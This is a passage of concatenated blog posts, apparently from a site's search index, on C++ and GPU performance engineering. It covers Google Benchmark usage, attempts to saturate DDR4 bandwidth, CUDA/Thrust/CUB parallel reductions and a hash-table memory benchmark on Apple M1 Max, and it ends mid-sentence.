bm::DoNotOptimize(array.size()); } state.SetComplexityN(count); state.SetItemsProcessed(count * state.iterations()); state.SetBytesProcessed(count * state.iterations() * sizeof(int32_t)); } This short benchmark logs more information than just the runtime per iteration. Aside from the built-in SetItemsProcessed and SetBytesProcessed you can add anything else:\n1 state.counters[\u0026#34;temperature_on_mars\u0026#34;] = bm::Counter(-95.4); I then run this benchmark with a couple of different policies and on numerous sizes:\n1 2 3 4 5 6 7 8 9 10 11 BENCHMARK_CAPTURE(super_sort, seq, std::execution::seq) -\u0026gt;RangeMultiplier(8) -\u0026gt;Range(1l \u0026lt;\u0026lt; 20, 1l \u0026lt;\u0026lt; 32) -\u0026gt;MinTime(10) -\u0026gt;Complexity(bm::oNLogN); BENCHMARK_CAPTURE(super_sort, par_unseq, std::execution::par_unseq) -\u0026gt;RangeMultiplier(8) -\u0026gt;Range(1l \u0026lt;\u0026lt; 20, 1l \u0026lt;\u0026lt; 32) -\u0026gt;MinTime(10) -\u0026gt;Complexity(bm::oNLogN); GB will take the heavy burden of fitting and comparing our results against the suggested complexity curve. From those experiments, NlgN fits best, as seen in the output.\nAlgorithm Result super_sort/seq/1048576/min_time:10.000 \u0026hellip; super_sort/seq/2097152/min_time:10.000 \u0026hellip; super_sort/seq/16777216/min_time:10.000 \u0026hellip; super_sort/seq/134217728/min_time:10.000 \u0026hellip; super_sort/seq/1073741824/min_time:10.000 \u0026hellip; super_sort/seq/4294967296/min_time:10.000 \u0026hellip; super_sort/seq/min_time:10.000_BigO 1.78 NlgN super_sort/seq/min_time:10.000_RMS 41 % Another thing to note here is the missing UseRealTime. Without it the \u0026ldquo;CPU Time\u0026rdquo; is used by default. If you were to sleep your process, the \u0026ldquo;CPU Time\u0026rdquo; would stop growing.\nRandom Interleaving GB provides Random Interleaving for benchmarks with high run-to-run or order-depend variance. To enable it:\npass the --benchmark_enable_random_interleaving=true flag, optionally specify non-zero repetition count --benchmark_repetitions=1, optionally decrease the per-repetition time --benchmark_min_time=0.1. In a few cases, enabling this flag will save you some pain. One example is when dealing with CPUs with variable frequency with \u0026ldquo;Turbo Boost\u0026rdquo; like features that scale CPU frequency to a higher license. In that such case your CPU may accelerate from 2 GHz to 3 GHz, but will only sustain that frequency for a few seconds. So, if you run multiple compute-heavy benchmarks, the first one will work better, and the rest will work worse.\nAnother scenario is when you are working with large static arrays of data preserved from benchmark to benchmark; the first one will be slow, and the others will be fast if the data has been cached in the CPU.\nHardware Performance Counters Most chips, including CPUs, include hardware performance counters. Those gather stats that your benchmarking toolkit may be able to collect. In GB, those counters are implemented via libpmf (PMF). PMF, however, is only available on Linux, and only some kernels support it. \u0026ldquo;Windows Subsystem for Linux\u0026rdquo; users are out of luck, but if you are running on an original kernel, it will only take one extra argument and sudo privileges to access:\n1 $ sudo ./build_release/tutorial --benchmark_perf_counters=\u0026#34;CYCLES,INSTRUCTIONS\u0026#34; More often, however, I\u0026rsquo;d see people call GB through the infamous Linux perf utility. It will expose a lot more functionality, such as taskset, to control the availability of different CPU cores.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ sudo perf stat taskset 0xEFFFEFFFEFFFEFFFEFFFEFFFEFFFEFFF ./build_release/tutorial --benchmark_filter=super_sort Performance counter stats for \u0026#39;taskset 0xEFFFEFFFEFFFEFFFEFFFEFFFEFFFEFFF ./build_release/tutorial --benchmark_filter=super_sort\u0026#39;: 23048674.55 msec task-clock # 35.901 CPUs utilized 6627669 context-switches # 0.288 K/sec 75843 cpu-migrations # 0.003 K/sec 119085703 page-faults # 0.005 M/sec 91429892293048 cycles # 3.967 GHz (83.33%) 13895432483288 stalled-cycles-frontend # 15.20% frontend cycles idle (83.33%) 3277370121317 stalled-cycles-backend # 3.58% backend cycles idle (83.33%) 16689799241313 instructions # 0.18 insn per cycle # 0.83 stalled cycles per insn (83.33%) 3413731599819 branches # 148.110 M/sec (83.33%) 11861890556 branch-misses # 0.35% of all branches (83.34%) 642.008618457 seconds time elapsed 21779.611381000 seconds user 1244.984080000 seconds sys In Closing GB has a lot of functionality we haven\u0026rsquo;t touched, which is listed in their single-page user guide. You can take all the discussed codes from this article on GitHub and extend them to include more functionality, but that\u0026rsquo;s just the peak of the iceberg. We haven\u0026rsquo;t touched on system calls and communications with external devices, where you would need eBPF to effectively trace calls from almost inside the kernel. If you want to go deeper, check out the following repos I maintain 🤗\n","permalink":"https://ashvardanian.com/posts/google-benchmark/","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003eThere are only two kinds of languages:\nthe ones people complain about\nand the ones nobody uses.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e– \u003ca href=\"https://en.wikipedia.org/wiki/Bjarne_Stroustrup\"\u003eBjarne Stroustrup\u003c/a\u003e, creator of C++.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eVery few consider C++ attractive, and only some people think it\u0026rsquo;s easy.\nChoosing it for a project generally means you care about the performance of your code.\nAnd rightly so!\nToday, machines can process \u003ca href=\"/posts/server-supercycle/\"\u003ehundreds of Gigabytes per second\u003c/a\u003e, and we, as developers, should all learn to saturate those capabilities.\nSo, let\u0026rsquo;s look into a few simple code snippets and familiarize ourselves with \u003ca href=\"https://github.com/google/benchmark\"\u003eGoogle Benchmark\u003c/a\u003e (GB) - the most famous library in the space using incrementally complex examples.\u003c/p\u003e","title":"Mastering C++ with Google Benchmark ⏱️"},{"content":"A bit of history. Not so long ago, we tried to use GPU acceleration from Python. We benchmarked NumPy vs CuPy in the most common number-crunching tasks. We took the highest-end desktop CPU and the highest-end desktop GPU and put them to the test. The GPU, expectedly, won, but not just in Matrix Multiplications.\nSorting arrays, finding medians, and even simple accumulation was vastly faster. So we implemented multiple algorithms for parallel reductions in C++ and CUDA, just to compare efficiency. CUDA was obviously harder, than using std::accumulate, but there is a shortcut: thrust::reduce.\nFrm a usage perspective, they are almost equally simple. From a performance perspective, the latter was 10x faster on 1 GB arrays. We only reached 89 GB/s throughput on the CPU, while the technical docs suggest a number 129% higher:\nOne ThreadripperTM PRO integrates up to eight chiplets, each with access to memory, I/O and each other via the established hyper-speed AMD InfinityTM Fabric interconnect. ThreadripperTM PRO bar-raising core counts would count for naught were they supported by insufficient memory, with respect to not just bandwidth, but capacity and latency as well. AMD ensured ThreadripperTM PRO memory subsystem would be up to the task, as the 3900WX processor family is backed up with the most on-chip cache and highest performing memory available in a single x86 CPU socket: eight 3200 MHz DDR4 memory channels with ECC, supporting up to 2 TB capacity, and delivering up to 204 GB/s of aggregate bandwidth, more than double that of Intel Xeon W-2200 family.\nI was sleepless, so I tried more things.\nInitial Version Our initial version contained some AVX2 code for 8-way accumulation into one YMM register plus 64x std::threads:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 inline float accumulate(float const * it, float const * const end) noexcept { // SIMD-parallel summation stage auto sums = _mm256_set1_ps(0); for (; it + 8 \u0026lt; end; it += 8) sums = _mm256_add_ps(_mm256_loadu_ps(it), sums); // Horizontal reduction into scalar sums = _mm256_add_ps(sums, _mm256_permute2f128_ps(sums, sums, 1)); sums = _mm256_hadd_ps(sums, sums); sums = _mm256_hadd_ps(sums, sums); auto sum = _mm256_cvtss_f32(sums); // Serial summation of the remainder for (; it != end; ++it) sum += *it; return sum; } More Attempts I started by enabling CPU frequency scaling and reducing the benchmark time to 10 seconds. CPU went up from 2.7GHz to 4 GHz on all 64 cores.\nLogic Created an always-waiting thread-pool to avoid restarting threads. Replaced for with if + [[likely]] + goto combination. Precomputed the last pointer of AVX, instead of while (x + 8 \u0026lt; end). Switched from AVX to lighter SSE. Switched from double to float. Switched from 8-way accumulation (1x YMM register) to 32-way (4x YMM registers), effectively 4x unrolling the loop. Freed 4 threads. Every idea above - failed, except for one - the last one. It\u0026rsquo;s the difference between 89 GB/s and 112 GB/s - 122 GB/s depending on the run. Important to note that using even fewer cores (like 32 or 48) degraded the performance.\nMemory Once done with logic, I tried a couple of tricks for the memory subsystem.\nUsing _mm_prefetch before the next round of evaluation. Switching from _mm256_loadu_ps to _mm256_castsi256_ps(_mm256_lddqu_si256(ptr)) Switching from _mm256_loadu_ps to _mm256_load_ps. Switching from _mm256_loadu_ps to _mm256_stream_load_si256 . For variants #2, #3 and #4 I switched to aligned_alloc. It was just easier, than std::accumulate-ing the inputs until first aligned address. Nothing helped here, but in general I would use those instruction for something like:\nUse _mm_prefetch for a fast binary search. Use _mm256_lddqu_si256 in mid-length text search with frequent split loads. Use _mm256_load_ps for advanced computing on big aligned buffers. Use _mm256_stream_load_si256 for lite scans, to avoid cache pollution. Bigger Datasets We had 24 GB of VRAM on the GPU and used 1÷24th of it for the input. I tried increasing the CPU task size to 1TB÷24 = 42 GB, no benefit. Each of our RAM sticks has the capacity of 128 GB, so the 42x bigger dataset still fits onto one stick. So I repeated the CPU experiments on a 512 GB dataset. No bandwidth improvement, but a significant loss\u0026hellip;\nPerformance Analysis This is a weekend activity between two hectic weeks, so I will not disassemble the binaries. But we will look into the runtime metrics. I have isolated 120 threads for us and run perf:\n1 sudo perf stat taskset 0xEFFFEFFFEFFFEFFFEFFFEFFFEFFFEFFF ./release/reduce_bench Here are the results:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Performance counter stats for \u0026#39;taskset 0xEFFFEFFFEFFFEFFFEFFFEFFFEFFFEFFF ./release/reduce_bench\u0026#39;: 10,815,127.99 msec task-clock # 37.052 CPUs utilized 4,720,303 context-switches # 0.436 K/sec 173,096 cpu-migrations # 0.016 K/sec 20,779,144 page-faults # 0.002 M/sec 44,201,417,143,908 cycles # 4.087 GHz (83.33%) 2,914,615,728,426 stalled-cycles-frontend # 6.59% frontend cycles idle (83.33%) 38,224,888,776,045 stalled-cycles-backend # 86.48% backend cycles idle (83.34%) 8,115,337,000,378 instructions # 0.18 insn per cycle # 4.71 stalled cycles per insn (83.33%) 1,820,092,697,347 branches # 168.291 M/sec (83.33%) 2,298,601,636 branch-misses # 0.13% of all branches (83.34%) 291.892493579 seconds time elapsed 10561.230765000 seconds user 206.870335000 seconds sys Only 0.18 instructions per cycle, on average. A good result for scalar code would be above 2. Cache misses were only at 2%. The biggest bottleneck is the backend. 86.48% backend cycles were idle, waiting for memory to be fetched. The same can be seen on htop charts. Those are not charts of a healthy person program. Our threads are only half-busy.\nThe list of available hardware events, retrieved via perfmon2, was over 2'000 lines. Deeper introspection seemed a bit too troublesome. Especially as AMD has far less documentation than Intel. Maybe another time.\nImpact on Industry We presume that GPU cores are hard to organize, which is true. But so is squeezing 100% performance from CPUs. We got to 60% of CPU ⇔ RAM memory bandwidth with all the tuning and tweaking. While even the shortest and simplest GPU solutions got to 79% of GPU ⇔ VRAM bandwidth. The best GPU solution reached 94% of theoretical throughput! More visually:\nAttempt Bandwidth Max Bandwidth Saturation Time to Code Parallel STL 87 GB/s 204 GB/s 42.6% 1m Best CPU run 122 GB/s 204 GB/s 59.8% 60m Thrust 743 GB/s 936 GB/s 79.4% 1m Custom CUDA 817 GB/s 936 GB/s 87.3% 30m CUB 879 GB/s 936 GB/s 93.9% 5m The \u0026ldquo;Time to Code\u0026rdquo; part is highly subjective and is a personal approximation. Still, our best CPU solution is not just slower than GPU code, but also much further from it\u0026rsquo;s theoretical limit. Counter-intuitive, right?\nEveryone knows the PCI Gen4 bandwidth. Everyone knows that rare linear complexity operations aren\u0026rsquo;t worth transferring to GPUs. But this article isn\u0026rsquo;t about that.\nMoreover, GPU code is becoming composable, just like the CPU code. You don\u0026rsquo;t even need a custom kernel-fusing compiler, like XLA or TVM. Old school expression templates are more than enough. Thrust gives you enough \u0026ldquo;fancy\u0026rdquo; iterators for most cases, and you can easily add your own. The higher the composability, the reasons to port even linear complexity code.\nIt\u0026rsquo;s not the first time GPU code ends up being more accessible than the CPU version. Last year I was trying to surpass cuBLAS and oneMKL in GEMM. By now, you might guess how that story developed, but I will leave it for another time.\n","permalink":"https://ashvardanian.com/posts/ddr4-bandwidth/","summary":"\u003cp\u003eA bit of history.\nNot so long ago, we tried to use GPU acceleration from Python.\nWe \u003ca href=\"https://unum.cloud/blog/2022-01-26-cupy/\"\u003ebenchmarked NumPy vs CuPy\u003c/a\u003e in the most common number-crunching tasks.\nWe took the highest-end desktop CPU and the highest-end desktop GPU and put them to the test.\nThe GPU, expectedly, won, but not just in Matrix Multiplications.\u003c/p\u003e\n\u003cp\u003eSorting arrays, finding medians, and even simple accumulation was vastly faster.\nSo we implemented multiple algorithms for \u003ca href=\"/posts/cuda-parallel-reductions/\"\u003eparallel reductions in C++ and CUDA\u003c/a\u003e, just to compare efficiency.\nCUDA was obviously harder, than using \u003ccode\u003estd::accumulate\u003c/code\u003e, but there is a shortcut: \u003ccode\u003ethrust::reduce\u003c/code\u003e.\u003c/p\u003e","title":"Failing to Reach DDR4 Bandwidth 🚌"},{"content":"GPU acceleration can be trivial for Python users. Follow CUDA installation steps carefully, replace import numpy as np with import cupy as np, and you will often get the 100x performance boosts without breaking a sweat. Every time you write magical one-liners, remember a systems engineer is making your dreams come true.\nA couple of years ago, when I was giving a talk on the breadth of GPGPU technologies, I published a repo. A repo with various cool GPGPU staff in Vulkan, Halide, and most importantly, 8x implementations of std::accumulate in OpenCL. I know what you are thinking:\nEight ways to sum numbers?! Are you 🌰s?!\nDon\u0026rsquo;t worry! We are now back with more! No more OpenCL, no more SyCL. This time we focus on Parallel STL, SIMD, OpenMP and, of course, CUDA, CUB and Thrust!\nYou can find all the sources hosted on our GitHub. Benchmarks were run with the newest stable versions of software available at the time: Ubuntu 20.04, GCC 10.3, CUDA Toolkit 11.6, Thrust 1.15, oneTBB 2021.5 and TaskFlow 3.3.\nThis article went through 2 updates. First, the OpenMP numbers were corrected. Later, I reflected on the results and came to a shocking conclusion. It thematically belongs in the middle, but I published it separately to avoid spoilers and keep it chronological.\nC++ and STL The canonical serial solution for this problem in C and C++ would be:\n1 2 3 float sum = 0 for (; begin != end; ++begin) sum += *begin; For simple tasks like this, there is also an STL version. Let\u0026rsquo;s put a sample an example with 1 GB worth of float numbers:\n1 2 3 std::vector\u0026lt;float\u0026gt; numbers(1024 * 1024 * 256); std::fill(numbers.begin(), numbers.end(), 1.f); auto sum = std::accumulate(numbers.begin(), numbers.end(), 0.f); Time for some trivia questions. What will be the sum? Due to rounding errors, the result of sequential accumulation will be significantly less accurate than doing it in batches or parallel tree-like reductions. To avoid it, you would need more memory. One more float for the compensation part, as in the Kahan summation algorithm. Or simply using a double for the accumulation. The latter being equally fast on modern x86 chips and easier to implement:\n5.2 GB/s when accumulating into float, with a 93% error. 5.3 GB/s when accumulating into double, with a 0% error. SIMD: AVX2 We also implemented three AVX2 SIMD variants for intra-thread acceleration:\nNaive 8x lane float accumulation. Kahans 8x lane float accumulation. Conversions and 4x lane double accumulation. They all utilize heavy instructions, so some downclocking occurs, but performance is excellent, and rounding errors disappear in the last two variants. The (1) and (3) SIMD code is trivial. We will only post the Kahan version for clarity.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 float operator()(float const * begin, float const * end) noexcept { auto it = begin; // SIMD-parallel summation stage auto sums = _mm256_set1_ps(0); auto compensations = _mm256_set1_ps(0); auto t = _mm256_set1_ps(0); auto y = _mm256_set1_ps(0); for (; it + 8 \u0026lt; end; it += 8) { y = _mm256_sub_ps(_mm256_loadu_ps(it), compensations); t = _mm256_add_ps(sums, y); compensations = _mm256_sub_ps(_mm256_sub_ps(t, sums), y); sums = t; } // Cross-lane horizontal reduction sums = _mm256_hadd_ps(sums, _mm256_permute2f128_ps(sums, sums, 1)); sums = _mm256_hadd_ps(sums, sums); sums = _mm256_hadd_ps(sums, sums); auto sum = _mm256_cvtss_f32(sums); // Serial summation of the remainder for (; it != end; ++it) sum += *it; return sum; } Results on a single CPU core:\n22.3 GB/s naively accumulating float, with a 50% error. 10.9 GB/s accumulation with Kahans method, with 0% error. 17.0 GB/s accumulating as doubles, with 0% error. OpenMP Not to be confused with OpenMPI, Open Multi-Processing is probably the oldest Multi-Threading (not Multi-Processing!) standard. It has run on anything from desktops to supercomputers since 1997 and is widely supported by Fortran, C and C++ compilers. Aside from the oldest #pragmas, they also support parallel reductions:\n1 2 3 4 5 6 7 8 float operator()(float const * begin, float const * end) noexcept { float sum = 0; size_t const n = end - begin; #pragma omp parallel for default(shared) reduction(+ : sum) for (size_t i = 0; i != n; i++) sum += begin[i]; return sum; } We tried every OpenMP reduction tutorial but couldn\u0026rsquo;t make it work faster than the most basic serial version of std::accumulate. Result: 5.4 GB/s.\nUpdate on OpenMP After a few recommendations on Reddit, an issue with compilation flags was resolved. At 100% CPU utilization OpenMP scored 51.5 GB/s. After that, we disabled dynamic scheduling with omp_set_dynamic(0) and reduced the number of threads, reaching the result of 80 GB/s.\nParallel Algorithms STL ships with std::execution policies since 17th edition. Hope being, that multi-threaded \u0026lt;algorithm\u0026gt;s are easy to use and at least as good as average parallel code.\n1 auto sum = std::reduce(std::execution::par_unseq, numbers.begin(), numbers.end(), 0.f); Result: 5.3 GB/s. Wait, it\u0026rsquo;s the same as we got for single-threaded code. We forgot that GCC relies on Intel\u0026rsquo;s Thread Building Blocks to implement parallel algorithms. Let\u0026rsquo;s update our CMakeLists.txt:\n1 2 3 4 5 6 7 8 FetchContent_Declare( TBB GIT_REPOSITORY https://github.com/oneapi-src/oneTBB.git GIT_TAG v2021.5.0 ) FetchContent_Populate(TBB) include_directories(BEFORE ${TBB_SOURCE_DIR}) target_link_libraries(reduce_bench TBB::tbb) Run again and hurray!\n80 GB/s in std::execution::par reductions. 87 GB/s in std::execution::par_unseq reductions. Now we are going somewhere! Can we go there faster?\nSIMD + Threads If we take our AVX2 SIMD (#3) implementation and spawn 64x std::threads, whenever a new task comes, we can still go a little faster: 89 GB/s. In the best-case scenario, if we always had a thread-pool around, with ~20 idle threads, we could do even better, up to 200 GB/s.\nNot more. Not until we switch from DDR4 to DDR5 and from 8-channel to 12-channel RAM. Extrapolating the Hash-Table benchmarks of Apple M1 Max laptops, we can expect massive boosts in DDR5-powered servers. Sapphire Rapids may even get in-package High Bandwidth Memory, but for now, only GPUs have that!\nSwitching to GPUs It would have been interesting to run the same OpenCL scripts on both CPUs and GPUs. Unfortunately, we lost that opportunity about two years ago, when AMD dropped support for OpenCL in their CPU lineup. As we are only limited to a GPU, we will skip OpenCL this time, assuming that, on average, its kernels are at least 30% slower than CUDA.\nGPU Model Size Type Bus Bandwidth 3090 24 GB GDDR6X 384 bit 936 GB/s 3090 Ti 24 GB GDDR6X 384 bit 1'018 GB/s A100 SXM4 80 GB HBM2e 5120 bit 2'039 GB/s Before starting our experiment, let\u0026rsquo;s determine our upper bound. The A100 is a datacenter GPU, and 3090 Ti hasn\u0026rsquo;t reached the market yet, so we won\u0026rsquo;t get 1 TB/s this time around.\nCUDA with SHFL There is the old way \u0026ldquo;to CUDA\u0026rdquo; and the new way. The old one uses just __shared__ memory. The post-Kepler method recommends using shuffles for thread scheduling.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __inline__ __device__ float cu_reduce_warp(float val) { val += __shfl_down_sync(0xffffffff, val, 16); val += __shfl_down_sync(0xffffffff, val, 8); val += __shfl_down_sync(0xffffffff, val, 4); val += __shfl_down_sync(0xffffffff, val, 2); val += __shfl_down_sync(0xffffffff, val, 1); return val; } __global__ void cu_reduce_warps(float const *inputs, unsigned int input_size, float *outputs) { float sum = 0; for (unsigned int i = blockIdx.x * blockDim.x + threadIdx.x; i \u0026lt; input_size; i += blockDim.x * gridDim.x) sum += inputs[i]; __shared__ float shared[32]; unsigned int lane = threadIdx.x % warpSize; unsigned int wid = threadIdx.x / warpSize; sum = cu_reduce_warp(sum); if (lane == 0) shared[wid] = sum; // Wait for all partial reductions __syncthreads(); sum = (threadIdx.x \u0026lt; blockDim.x / warpSize) ? shared[lane] : 0; if (wid == 0) sum = cu_reduce_warp(sum); if (threadIdx.x == 0) outputs[blockIdx.x] = sum; } This sample more or less repeats the CUDA tutorial but replaces the deprecated __shfl_down with __shfl_down_sync in the first function. Mouthful, compared to std::accumulate, but it gets the work done: 817 GB/s 💣💣\nThrust Thrust might just be my favorite high-level library. Generic enough to be considered an STL extension and full of intrguing technical solutions. If you don\u0026rsquo;t want to write a custom kernel for a GPU, you can probably compose a multi-round alternative with Thrust.\n1 thrust::reduce(numbers.begin(), numbers.end(), float(0), thrust::plus\u0026lt;float\u0026gt;()); The result: 743 GB/s. A 9% reduction, compared to the hand-written kernel, but hardly slow.\nThose of us waiting for NVCC implementation of Parallel Algorithms will use it indirectly. Others can use it directly or go one paragraph layer lower to CUB.\nCUB CUBs main benefit is stricter control over memory allocations. Parallel and concurrent algorithms often require extra memory compared to serial analogues. To keep the interface familiar and straightforward, Thrust may allocate temporary memory internally.\nWith CUB, you manage memory yourself and control the algorithm selection more explicitly, resulting in faster code but a much heavier codebase. For example, you would typically call the same function twice. First time only to estimate the needed temporary memory capacity.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 float operator()(float const *b, float const *e) { // Reuse the following arrays thrust::device_vector\u0026lt;float\u0026gt; gpu_inputs(b, e); thrust::device_vector\u0026lt;float\u0026gt; gpu_sums(1); thrust::host_vector\u0026lt;float\u0026gt; cpu_sums(1); thrust::device_vector\u0026lt;uint8_t\u0026gt; temporary; // CUB can\u0026#39;t handle large arrays with over 2 billion elements! assert(gpu_inputs.size() \u0026lt; std::numeric_limits\u0026lt;int\u0026gt;::max()); auto num_items = static_cast\u0026lt;int\u0026gt;(gpu_inputs.size()); auto ins = gpu_inputs.data().get(); auto outs = gpu_sums.data().get(); // Determine temporary device storage requirements cudaError_t error; void *temps = nullptr; size_t temps_size = 0; error = cub::DeviceReduce::Sum(temps, temps_size, ins, outs, num_items); assert(error == cudaSuccess); // Allocate temporary storage, if needed if (temps_size \u0026gt; temporary.size()) temporary.resize(temps_size); temps = temporary.data().get(); error = cub::DeviceReduce::Sum(temps, temps_size, ins, outs, num_items); assert(error == cudaSuccess); cudaDeviceSynchronize(); cpu_sums = gpu_sums; return cpu_sums[0]; } CUB provides shortcuts for the most common binary commutative operators: sum, min, max, argmin, argmax. So instead of invoking cub::DeviceReduce::Reduce in this case, we run cub::DeviceReduce::Sum.\nResult: 879 GB/s 🔥🔥🔥\nCUB is an excellent library by itself - a huge productivity booster. Especially the device-scale functions, like DeviceHistogram, DevicePartition, DeviceRadixSort, DeviceRunLengthEncode, DeviceScan. Our internal on-GPU compression library, for example, has a multi-stage pipeline, where parts were initially written with Thrust. Then accelerated with CUB and only in most important places, rewritten in raw CUDA.\nTensor Cores This is one of those cases where Tensor Cores can\u0026rsquo;t help us much. We can program the wmma:: intrinsics in CUDA directly. In that case, we can reshape the input array into a very long matrix and multiply it by small auto-generated matrices on the fly. Every wmma::fragment\u0026lt;wmma::matrix_b, 16, 16, 8, wmma::precision::tf32, wmma::row_major\u0026gt; would contain mostly zeros, except the first column of ones. Every warp would perform its reduction, accumulating 16²=256 numbers into a column of 16 sums. One per row. It\u0026rsquo;s a lot of wasted compute capacity, but given the insane efficiency of Tensor Cores, we could have gotten a slight improvement.\nStill, assuming we have already reached 94% of theoretical memory bandwidth, we are definitely in the red zone of diminishing returns.\nRoundup We repeated the benchmarks for every power-of-two array size between 32 MB and 4 GB. If an image is worth a thousand words to you, enjoy!\nAgain, if you are curious to see how your CPU/GPU would compete, here is the GitHub link for these benchmarks. It should be pretty easy to install if you have ever used CMake.\nIntel is preparing its Ponte Vecchio GPU launch. And AMD is trying to attract more customers for their MI200 GPUs. With all that action, we should expect more first-party HPC libraries, like Thrust and CUB. Before then, we will keep reinventing the wheel, often implementing stuff from scratch and writing about it occasionally. All to accelerate AI research and build the fastest persistent DBMS the world as ever seen 😉\n","permalink":"https://ashvardanian.com/posts/cuda-parallel-reductions/","summary":"\u003cp\u003eGPU acceleration \u003ca href=\"https://unum.cloud/blog/2022-01-26-cupy/\"\u003ecan be trivial\u003c/a\u003e for Python users.\nFollow CUDA installation steps carefully, replace \u003ccode\u003eimport numpy as np\u003c/code\u003e with \u003ccode\u003eimport cupy as np\u003c/code\u003e, and you will often get the 100x performance boosts without breaking a sweat.\nEvery time you write magical one-liners, remember a systems engineer is making your dreams come true.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eA couple of years ago, when I was giving a \u003ca href=\"https://www.youtube.com/watch?v=AA4RI6o0h1U\"\u003etalk\u003c/a\u003e on the breadth of GPGPU technologies, I published a repo.\nA repo with various cool GPGPU staff in \u003ca href=\"https://www.vulkan.org\"\u003eVulkan\u003c/a\u003e, \u003ca href=\"https://halide-lang.org\"\u003eHalide\u003c/a\u003e, and most importantly, \u003cstrong\u003e8x\u003c/strong\u003e implementations of \u003ccode\u003estd::accumulate\u003c/code\u003e in OpenCL.\nI know what you are thinking:\u003c/p\u003e","title":"Crushing CPUs with 879 GB/s Reductions in CUDA"},{"content":"This will be a story about many things: about computers, about their (memory) speed limits, about very specific workloads that can push computers to those limits and the subtle differences in Hash-Tables (HT) designs. But before we get in, here is a glimpse of what we are about to see.\nA friendly warning, the following article contains many technical terms and is intended for somewhat technical and hopefully curious readers.\nAll the benchmarks can be analyzed in detail and reproduced with the code available on our GitHub page. Everyone is welcome to contribute! And NO, it\u0026rsquo;s not a single-threaded benchmark. And NO, we aren\u0026rsquo;t suggesting to replace servers with MacBooks. These and luckily deeper questions were discussed in full here: #4 Ranking HackerNews post, original HackerNews post, r/cpp Reddit community.\nA couple of months ago, I followed one of my oldest traditions, watching Apple present their new products at one of its regular conferences. I have done it since the iPhone 4 days and haven\u0026rsquo;t missed a single one. Needless to say, the last ten years were a rodeo. With hours spent watching new animated poop emojis on iOS presentations, I would sometimes lose hope in that 💲3T company. After the 2012 MacBook Pro, every following Mac I bought was a downgrade. The 2015 model, the 2017 and even the Intel Core i9 16\u0026quot; 2019 version, if we consider performance per buck. Until now.\nThe M1 Pro/Max seem vastly different from the M1 in last year\u0026rsquo;s MacBook Airs. Apple hates sharing technical details, but here are some of the core aspects we know:\nCPU has 8x power cores and 2x efficiency cores. Cores have massive L2 blocks for a total of 28 MB of L2. Fabrication was done on TSMC\u0026rsquo;s N5 process. Memory bus was upgraded to LPDDR5 and claims up to 400 GB/s of bandwidth. We have recently published a 2736-word overview of upcoming memory-bus innovations, so the last one looks exceptionally interesting. In the \u0026ldquo;von Neumann computer architecture\u0026rdquo; today, the biggest bottleneck is between memory and compute. It\u0026rsquo;s especially evident in big-data processing and neuromorphic workloads. Both are essential to us, so we invested some time and benchmarked memory-intensive applications on three machines:\n16\u0026quot; Apple MacBook Pro with an 8-core Intel Core i9-9980HK and 16 GB of DDR4 memory, purchased for around 💲3'000 in 2019. 16\u0026quot; Apple MacBook Pro with a 10-core ARM-based M1 Max CPU with 64 GB of LPDDR5 memory, purchased for around 💲3'000 in 2021. A custom-built liquid-cooled server with an AMD Threadripper Pro 3995WX with 1 TB of eight-channel DDR4 memory, purchased for over 💲50'000 in 2021. Its full description can be found in our previous article on the Yahoo Cloud Serving Benchmark. Spoiler, it\u0026rsquo;s 🌰🌰🌰. Sounds intriguing? Let\u0026rsquo;s jump in!\nCopying Memory Generally, when companies claim a number like 100 GB/s, they mean the combined theoretical throughput of all the RAM channels in the most basic possible workload - sequentially streaming a lot of data. Probably the only such use case on a desktop is watching multiple 4K movies at once. Your multimedia player will fetch a ton of frames from memory and put them into the current frame buffer, overwriting the previous content. In the x86 world, you would achieve something like that by combining _mm256_stream_load_si256 and _mm256_stream_si256 intrinsics. Or if you prefer something higher-level, there is a memcpy in every libc distribution.\nIn this benchmark, we generated a big buffer with lots of synthetic random data in it, and then every core would fetch chunks of it in random order. As we see, there is much non-uniformity in the results. The evaluation speed may differ significantly depending on the copied chunk size (1 KB, 4 KB, 1 MB or 4 MB). The expectation is that copies below 4 KB standard page size won\u0026rsquo;t be efficient. As you make chunks bigger, the numbers would generally increase until reaching about 200 GB/s in copied data on the newest hardware. All of that bandwidth, of course, rarely affects real life.\nIf you are watching videos - you are likely decoding → bottlenecking on CPUs ALUs. If you handle less than 20 MB at a time → you may never be leaving CPUs L1/L2 caches. Is there a memory-intensive benchmark that can translate into real-world performance?\nHash-Tables Meet Hash-Tables (HT) - probably the most straightforward yet most relevant data structure in all computing. Every CS freshman can implement it, but even the biggest software companies in the world spend years optimizing and polishing them. Hell, you can build a 💲2B software startup like Redis on a good hash-table implementation. That\u0026rsquo;s how essential HTs are! In reality, HT is just key-value store implemented as a bunch of memory pockets and an arbitrary mathematical function that routes every key to a bucket in which that data belongs. The problem here, is that generally a tiny change in input data results in a jump to a different memory region. Once it happens, you can\u0026rsquo;t fetch the data from the CPU caches and have to go all the way to RAM! So our logic is the following:\nFast memory → Fast Hash-Tables. Fast Hash-Tables → Faster Applications. Faster Applications → 🌈 Rainbows, 🦄 Unicorns and 🤑 Profit! With this unquestionable reasoning in mind, let\u0026rsquo;s compare some hash-tables on Apple\u0026rsquo;s silicon!\nC++ Standard Templates The most popular high-performance computing language is C++, and it comes with a standard library. A standard library with many zero-cost abstractions, including some of the fastest general-purpose data structures shipped in any programming ecosystem. It\u0026rsquo;s the most common HT, the people will be using, but not the fastest.\nWe have configured it in all power-of-two sizes between 16 MB and 256 MB of content. Such a broad range is selected to showcase speeds both within and outside of CPU caches of chosen machines.\nWow! What we see here, is that ARM-powered MacBooks end-up fetching about 6 GB/s worth of data. That of course, is nowhere close to the 100 GB/s in bulk-copy-workloads or 400 GB/s on the slide, but remarkably close to a huge server and way ahead of the last gen Intel chip!\nImplementation-wise, STL std::unordered_map is an array of 